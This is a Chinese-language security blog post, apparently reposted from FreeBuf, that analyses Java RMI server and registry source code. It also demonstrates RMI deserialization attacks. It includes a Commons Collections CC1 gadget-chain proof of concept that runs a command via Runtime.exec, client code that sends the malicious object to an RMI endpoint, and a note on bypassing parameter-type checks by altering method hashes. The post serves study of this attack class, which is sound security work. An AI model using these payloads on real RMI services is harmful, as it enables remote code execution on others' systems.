RMIserver端和Registry端源码分析
2022-12-9 21:7:37 Author: www.freebuf.com(查看原文) 阅读量:10 收藏

想学JDNI,那想必一定躲不过RMI。

RMI可以远程调用JVM对象并获取结果。所以需要一个server和一个client进行通信。

Server端会创建一个远程对象用于client端远程访问。

下面改造一张来自W3Cschool的图:

1670590949_639331e5071ab35b5dc6d.png!small?1670590949697

只需要知道:Client端使用stub来请求远程方法,而Server端用Skeleton来接收stub,然后将返回值传输给Client。

  • RMI server的构造需要:

    1. 一个远程接口rmidemo,rmidemo需要继承java.rmi.Remote接口,其中的方法还需要有serializable接口

      public interface rmidemo extends Remote {
      private static final long serialVersionUID = 6490921832856589236L;
      public String hello() throws RemoteException{}
      }

      serialVersionUID是为了防止在序列化时导致版本冲突,所以序列化后UID不同会报异常

    1670590960_639331f0b0788c8779041.png!small?1670590961141

    1. 能被远程访问的类RmiObject(需要继承UnicastRemoteObject类),类必须实现rmidemo接口。

    public class RmiObject extends UnicastRemoteObject implements rmidemo {
    protected RmiObject() throws RemoteException {}
    public String hello() throws RemoteException{}
    }
    1. 注册远程对象(RMIRegistry):

public class server {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RmiObjct();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
}
}
  • RMI Client。LocateRegistry.getRegistry进行连接,用到lookup()搜索对应方法,然后调用需要的远程方法:

    public class clientdemo {
    public static void main(String[] args) throws RemoteException, NotBoundException {
    Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
    // 利用注册表的代理去查询远程注册表中名为hello的对象
    rmidemo hello = (rmidemo) registry.lookup("hello");
    // 调用远程方法
    System.out.println(hello.hello());
    }
    }

以上过程也可以用素十八大佬的一图概括:

1670590972_639331fca9ae900ac7ac7.png!small?1670590973376

RMI反序列化攻击

以CC1链利用AnnotationInvocationHandler进行攻击为例:

CC1的POC为:

package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = newChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("godown","buruheshen");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
}

当Server端存在远程接收Object对象时,可以发送序列化对象:

public interface rmidemo extends Remote {
void work(Object obj) throws RemoteException;
}

在Registry时,rebind会进行反序列化:

public class server {
public static void main(String[] args) throws RemoteException {
rmidemo user= new RmiObject();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}

所以把CC1构造的恶意对象,通过rmi协议连接到 接收对象的类,再向 接收对象的方法传恶意对象:

public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(CommonsCollections1());
}

1670591000_639332184e4337486eacb.png!small?1670591000871

如果不想深入RMI的可以跳过这部分,直接看攻击。

Server端UnicastRemoteObject

在刚开始,我们定义了一个类rmiObject,它必须继承UnicastRemoteObject,那这个类有什么用?简而言之就是创建远程对象并put进ObjectTable+监听本地。

该类readObject调用reexport:

1670591009_63933221d1a61d779f921.png!small?1670591010122reexport又调用exportObject:

1670591015_6393322736616dd8a7a0f.png!small?1670591015617

在reexport#exportObject中,如果没有UnicastServerRed参数会new UnicastServerRef(),并且exportObject该对象(这里的export是UnicastRemoteRef的方法)。

1670591021_6393322d4afebda112ef7.png!small?1670591021612

1670591026_63933232bd4d742bc34dd.png!small?1670591027063

  • UnicastServerRef的exportObject如下:

1670591031_63933237ccc9cf11ac1aa.png!small?1670591032169

  1. 用到了Util.creatProxy()进行动态代理:

1670591038_6393323e9acca1a147bd4.png!small?1670591039027

creatProxy使用RemoteObjectInvocationHandler,为rmidemo(远程接口)创建动态代理Proxy.newProxyInstance()

  1. 使用Target对象封装 远程方法 和生成的动态代理类。var6也就是stub

    UnicastServerRef#this.ref.exportObject调用transport.liveRef的exportObject

    跟进到liveRef#exportObject(),该exportObject指向了实现Endpoint接口的类,也就是TCPEndpoint()

    TCPEndpoint#exportObject指向TCPTransport#exportObject

    所以UnicastServerRef#this.ref.exportObject最终在TCPTransport#Object实现:负责监听本地端口

    1670591054_6393324e25c4b94bcb2ae.png!small?1670591054549

    super.exportObject()调用继承方法,TCPTransport的父类是Transport。

    Transport()#exportObject把Target放入ObjectTable,用于管理Target

    1670591061_63933255cbae30c387e63.png!small?1670591062163

在createProxy()中用到的RemoteObjectInvocationHandler动态代理,该类继承了RemoteObject并实现了InvocationHandler。所以该类可远程传输、可序列化。

Registry端createRegistry(1099)

LocateRegistry.createRegistry(1099)==new RegistryImpl(1099)

1670591067_6393325b70839e502e9e8.png!small?1670591067726

RegistryImpl调用了setup配置UnicastServerRef对象。

1670591071_6393325f02c3572086506.png!small?1670591071406

setup的exportObjec也是指向UnicastObjectRef类,exportObject依然是createProxy()创建动态代理。

1670591075_6393326320a1fdcc97530.png!small?1670591075398

不过由于最后一个参数为true,会调用UnicastServerRef#setSkeleton()

1670591078_63933266c5b6a27ac9417.png!small?1670591079237

setSkeleton()执行Util#createSkeleton()创建skeleton:

1670591085_6393326d11ccad5281bea.png!small?1670591085391

createSkeleton()用forName和newInstance反射var2对象,var1初始来自RegistryImpl,拼接_Skel后就是返回RegistryImpl_Skel。

1670591089_639332717384894e36927.png!small?1670591089992

RegistryImpl_Skel类的dispatch会根据不同的写入操作switch不同的操作方式,比如bind就是case0。

1670591093_639332759152b573f7e81.png!small?1670591093933

后面的代码和Server一样,不过exportObject的对象从UnicastServerRef变成了RegistryImpl

非Object参数RMI攻击

上面的RMI攻击环境是 Server端有接收Object参数的方法。那没有这种方法,服务端接收的是Object的子类,比如HelloObject作为参数,而我们构造的恶意类必须要是Object,该怎么办?

先来了解一下UnicastServerRef的dispatch方法。在客户端lookup远程调用方法时,Registry端执行RegistryImpl_Skel类的dispatch方法,然后将结果writeObject到序列化流:

1670591108_63933284ef76c1e66f048.png!small?1670591109384

Client端获取到Registry端的序列化流后,进行反序列化。对其调用。

当Client端向Registry端请求远程对象时,lookup的值为2,Registry端使用RegistryImpl_Skel#dispatchcase2。

Server端则是根据UnicastServerRef#dispatch来 来处理客户端请求,在hashToMethod_Map中寻找Method的hash,

1670591117_6393328d970c5866b274f.png!small?1670591117860

如果找到了就进行反射调用,

1670591121_6393329183e99f42f8ac4.png!small?1670591122084

这里的hash算法是SHA1。所以让method_hash相同的情况下就能进行反射调用。在debug时RemoteObjectInvocationHandler的invokeRemoteMethod处下断点,将Method改为服务器需要的Method,hash就会跟着改变,但是恶意类已经生成。所以能攻击。

参考:https://www.cnblogs.com/nice0e3/p/13958047.html

https://su18.org/post/rmi-attack/


文章来源: https://www.freebuf.com/articles/web/352122.html
如有侵权请联系:admin#unsafe.sh